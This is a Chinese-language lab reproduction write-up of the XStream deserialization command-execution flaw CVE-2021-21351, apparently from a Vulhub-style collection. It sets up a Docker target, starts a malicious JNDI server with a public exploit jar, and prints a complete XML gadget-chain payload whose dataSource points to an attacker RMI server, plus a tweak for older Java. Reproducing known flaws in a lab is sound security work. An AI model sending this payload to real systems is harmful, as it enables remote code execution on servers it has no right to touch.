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134 lines
5.4 KiB
Markdown
134 lines
5.4 KiB
Markdown
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# XStream 反序列化命令执行漏洞 CVE-2021-21351
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## 漏洞描述
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XStream 是一个轻量级、简单易用的开源 Java 类库，它主要用于将对象序列化成 XML（JSON）或反序列化为对象。
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XStream 在解析 XML 文本时使用黑名单机制来防御反序列化漏洞，但是其 1.4.15 及之前版本黑名单存在缺陷，攻击者可利用 `javax.naming.ldap.Rdn$RdnEntry` 及 `javax.sql.rowset.BaseRowSet` 构造 JNDI 注入，进而执行任意命令。
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参考链接：
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- https://x-stream.github.io/CVE-2021-21351.html
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- https://paper.seebug.org/1543/
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- https://www.veracode.com/blog/research/exploiting-jndi-injections-java
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- https://github.com/welk1n/JNDI-Injection-Exploit/
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## 环境搭建
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Vulhub 执行如下命令启动一个 Springboot + XStream 1.4.15 的环境：
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```
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docker-compose up -d
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```
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环境启动后，我们向 `http://your-ip:8080` 发送一个正常的 XML 数据包，将会得到预期返回：
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## 漏洞复现
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由于目标环境 Java 版本高于 8u191，故我们需要借助 [这篇文章](https://www.veracode.com/blog/research/exploiting-jndi-injections-java) 中给出的方法，使用 `org.apache.naming.factory.BeanFactory` 加 EL 表达式注入的方式来执行任意命令。
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使用 [这个工具](https://github.com/welk1n/JNDI-Injection-Exploit/) 启动恶意 JNDI 服务器：
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```
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java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/awesome_poc" -A 192.168.174.128
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```
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根据 Java 版本，使用上图中基于 SpringBoot 利用链的 RMI 地址作为 `<dataSource>` 的值，构造 POC 如下：
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```
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POST / HTTP/1.1
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Host: your-ip:8080
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
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Connection: close
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Content-Type: application/xml
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Content-Length: 3184
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<sorted-set>
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<javax.naming.ldap.Rdn_-RdnEntry>
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<type>ysomap</type>
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<value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'>
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<m__DTMXRTreeFrag>
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<m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'>
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<m__size>-10086</m__size>
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<m__mgrDefault>
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<__overrideDefaultParser>false</__overrideDefaultParser>
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<m__incremental>false</m__incremental>
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<m__source__location>false</m__source__location>
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<m__dtms>
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<null/>
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</m__dtms>
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<m__defaultHandler/>
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</m__mgrDefault>
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<m__shouldStripWS>false</m__shouldStripWS>
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<m__indexing>false</m__indexing>
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<m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'>
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<fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
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<javax.sql.rowset.BaseRowSet>
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<default>
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<concurrency>1008</concurrency>
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<escapeProcessing>true</escapeProcessing>
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<fetchDir>1000</fetchDir>
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<fetchSize>0</fetchSize>
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<isolation>2</isolation>
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<maxFieldSize>0</maxFieldSize>
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<maxRows>0</maxRows>
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<queryTimeout>0</queryTimeout>
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<readOnly>true</readOnly>
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<rowSetType>1004</rowSetType>
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<showDeleted>false</showDeleted>
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<dataSource>rmi://192.168.174.128:1099/tznmqn</dataSource>
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<listeners/>
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<params/>
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</default>
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</javax.sql.rowset.BaseRowSet>
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<com.sun.rowset.JdbcRowSetImpl>
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<default/>
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</com.sun.rowset.JdbcRowSetImpl>
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</fPullParserConfig>
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<fConfigSetInput>
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<class>com.sun.rowset.JdbcRowSetImpl</class>
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<name>setAutoCommit</name>
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<parameter-types>
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<class>boolean</class>
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</parameter-types>
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</fConfigSetInput>
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<fConfigParse reference='../fConfigSetInput'/>
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<fParseInProgress>false</fParseInProgress>
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</m__incrementalSAXSource>
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<m__walker>
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<nextIsRaw>false</nextIsRaw>
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</m__walker>
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<m__endDocumentOccured>false</m__endDocumentOccured>
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<m__idAttributes/>
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<m__textPendingStart>-1</m__textPendingStart>
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<m__useSourceLocationProperty>false</m__useSourceLocationProperty>
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<m__pastFirstElement>false</m__pastFirstElement>
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</m__dtm>
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<m__dtmIdentity>1</m__dtmIdentity>
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</m__DTMXRTreeFrag>
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<m__dtmRoot>1</m__dtmRoot>
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<m__allowRelease>false</m__allowRelease>
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</value>
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</javax.naming.ldap.Rdn_-RdnEntry>
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<javax.naming.ldap.Rdn_-RdnEntry>
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<type>ysomap</type>
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<value class='com.sun.org.apache.xpath.internal.objects.XString'>
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<m__obj class='string'>test</m__obj>
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</value>
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</javax.naming.ldap.Rdn_-RdnEntry>
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</sorted-set>
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```
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其中，evil-ip 是恶意 RMI 服务器的地址。然后，进入目标容器内，可见 `touch /tmp/awesome_poc` 已成功执行：
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在实战中，如果目标 Java 版本较低，POC 需要做修改，将其中的 `<__overrideDefaultParser>false</__overrideDefaultParser>` 改成 `<__useServicesMechanism>false</__useServicesMechanism>` 即可。
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